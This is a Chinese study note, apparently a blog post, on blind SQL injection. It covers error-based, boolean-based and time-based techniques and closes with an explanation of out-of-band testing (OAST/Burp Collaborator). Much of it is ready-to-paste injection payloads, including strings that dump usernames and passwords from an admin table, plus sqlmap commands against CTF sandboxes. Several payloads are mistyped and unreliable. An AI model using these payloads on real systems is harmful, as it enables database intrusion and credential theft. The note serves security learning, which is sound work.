盲注

有时候注入无回显,可能是网站将回显信息进行加工然后输出,需要盲注

也可能是数据库操作本身没有回显,如insert

四种查询方式:select insert delete update

order by $id 排序

报错盲注

强制报错,利用报错回显

当它显示报错位置时可用

image-20230630141145312

几种常用方式:floor updatexml extractvalue

updatexml(1,2,3):2是注入语句位置

2处填充concat(0x7e,(select @@version),0x7e)

extractvalue(1,2):2是

https://www.jianshu.com/p/bc35f8dd4f7c

报错函数一次最多输出32个字符

updatexml报错注入

爆数据库版本信息:?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
链接用户:?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
链接数据库:?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

爆库:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆表:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段内容:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)

1、通过floor报错,注入语句如下:
and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);

2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))

4、通过NAME_CONST报错,注入语句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;

6、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );

7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );

8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );

9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );

10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );

11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );

12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );

布尔盲注

不需要回显

有时网站判断数据库交互结果是否为空,从而显示

所以利用布尔盲注,将查询id等 换为 自己的查询语句,利用是否正常显示来判断自己的查询语句是否正确(还是要猜,和时间盲注差不多)

sql截取函数:

mid(xx,1,1):从第一个开始的1位

substr(xxx,1,1):从第一个开始的1位

left(xxx,1)

if判断:

if(1,2,3),1为true,则执行2,1为false,则执行3

?id=if(substr(database(),1,1)="s",1,(select table_name from information_schema.tables))

时间盲注

不需要回显,根据网页回显时间来判断是否正确

and sleep(1)为延迟1s执行

if(a,b,c)如果满足a,那么执行b,否则执行c

?id=1 and sleep(if(database()='mysql',sleep(5),0))--+??????
?id=if((substr(database(),1,1)='s',sleep(5),1)

如果手工,只能用if判断,需要盲猜。最好使用工具

手工:现判断名称长度length()=,在判断每个位置的字符(a-Z,1-9)

limit 0,1:从0开始,1为步长

mid函数从1开始

python2 sqlmap.py -u http://challenge-c3a65482adf6bcfd.sandbox.ctfhub.com:10800/?id=1 --batch --technique T -D sqli -T flag -C flag --dump
python2 sqlmap.py -u http://challenge-60aeb65f3607bcc5.sandbox.ctfhub.com:10800/?id=1 --batch --technique T -D sqli -T flag -C flag --dump

使用工具时间盲注,要记得设置响应时间,避免延迟时间过长导致...认为目的不可达

OAST技术

OAST:带外应用程序安全测试,是使用外部服务器来帮助我们来查看无回显的漏洞

带外应用安全测试(OAST) - 知乎 (zhihu.com)

带外应用程序安全测试 (OAST) 软件 - PortSwigger

带内攻击模型

我们发送有效载荷,服务器也就是目标网站执行并返回执行后的响应。这种方式属于我们与目标建立的一个通信信道,可以信道理解成一个管道,数据交互都是在管道内来回传输,数据并不会超出这个管道范围,所以我们可以形象的认为这种方式属于带内攻击

img

前面我也提到了,这种方式无法直接检测没有回显的漏洞,PostSwigger 引入了 Burp Collaborator,帮助渗透测试人员解决了这一问题,

带外攻击模型

img

在带外攻击中,攻击发出的请求并不会直接返回攻击者,而是携带着载荷执行后的响应与我们的带外服务器(burp collaborator)产生了交互。

注:

主流的集中应用安全测试技术:
DAST: 动态应用程序安全测试(Dynamic Application Security Testing)技术在测试或运行阶段分析应用程序的动态运行状态。它模拟黑客行为对应用程序进行动态攻击,分析应用程序的反应,从而确定该Web应用是否易受攻击。
SAST:静态应用程序安全测试(Static Application Security Testing)技术通常在编码阶段分析应用程序的源代码或二进制文件的语法、结构、过程、接口等来发现程序代码存在的安全漏洞。
IAST:交互式应用程序安全测试(Interactive Application Security Testing)是2012年 Gartner 公司提出的一种新的应用程序安全测试方案,通过代理、VPN或者在服务端部署Agent程序,收集、监控Web应用程序运行时函数执行、数据传输,并与扫描器端进行实时交互,高效、准确的识别安全缺陷及漏洞,同时可准确确定漏洞所在的代码文件、行数、函数及参数。IAST相当于是 DAST 和 SAST 结合的一种互相关联运行时安全检测技术。

​ OAST 结合了传统 DAST 的交付机制和 IAST 的检测能力。它动态地发送检测代码到应用程序,当以不安全的方式被执行时,就会触发漏洞,攻击的结果不会直接返回到响应包中,而是使其与外部系统进行网络互动(例如:DNS)。互动的内容包括了漏洞的类型和触发互动的输入点。

posted @ 2023-10-24 16:15  xyday  阅读(74)  评论(0)    收藏  举报